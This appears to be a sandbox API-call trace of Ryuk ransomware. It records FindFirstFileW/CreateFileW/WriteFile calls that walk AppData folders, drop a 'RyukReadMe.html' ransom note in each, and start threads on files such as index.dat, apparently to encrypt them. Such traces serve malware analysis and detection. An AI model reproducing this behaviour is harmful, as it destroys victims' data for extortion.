	[0256.626] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0256.626] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0256.626] SetLastError (dwErrCode=0x0) 
	[0256.626] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.626] GetLastError () returned 0xb7
	[0256.626] CloseHandle (hObject=0x6d4) returned 1
	[0256.626] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0256.627] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.627] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0256.627] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0256.627] SetLastError (dwErrCode=0x0) 
	[0256.627] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.627] GetLastError () returned 0x0
	[0256.628] WriteFile (in: hFile=0x6d4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0256.629] CloseHandle (hObject=0x6d4) returned 1
	[0256.630] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0256.630] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0256.630] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0256.630] SetLastError (dwErrCode=0x0) 
	[0256.630] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.631] GetLastError () returned 0xb7
	[0256.631] CloseHandle (hObject=0x5ec) returned 1
	[0256.631] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0256.631] SetLastError (dwErrCode=0x0) 
	[0256.631] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0256.631] GetLastError () returned 0xb7
	[0256.631] CloseHandle (hObject=0x5ec) returned 1
	[0256.631] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0256.632] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.632] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0256.632] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0256.632] SetLastError (dwErrCode=0x0) 
	[0256.632] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.632] GetLastError () returned 0xb7
	[0256.632] CloseHandle (hObject=0x6d4) returned 1
	[0256.632] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0256.633] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.633] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1da, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0256.633] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77ba17e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1da, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0256.633] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4
	[0256.635] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.635] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0256.635] SetLastError (dwErrCode=0x0) 
	[0256.635] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0256.636] GetLastError () returned 0x0
	[0256.636] WriteFile (in: hFile=0x6f8, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0256.638] CloseHandle (hObject=0x6f8) returned 1
	[0256.638] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f2, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Applica杄眙")) returned 0xffffffffffffffff
	[0256.638] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0256.638] SetLastError (dwErrCode=0x0) 
	[0256.638] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.638] GetLastError () returned 0x3
	[0256.638] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0256.638] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.638] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 0
	[0256.639] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0256.639] SetLastError (dwErrCode=0x0) 
	[0256.639] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.639] GetLastError () returned 0xb7
	[0256.639] CloseHandle (hObject=0x6d4) returned 1
	[0256.639] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0256.639] SetLastError (dwErrCode=0x0) 
	[0256.639] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0256.640] GetLastError () returned 0xb7
	[0256.640] CloseHandle (hObject=0x6d4) returned 1
	[0256.640] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0256.640] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.640] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1da, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0256.640] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0256.640] SetLastError (dwErrCode=0x0) 
	[0256.640] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f8
	[0256.641] GetLastError () returned 0xb7
	[0256.641] CloseHandle (hObject=0x6f8) returned 1
	[0256.641] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0256.641] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0256.641] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0256.641] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x1e2, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0256.641] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0256.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc
	[0256.810] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
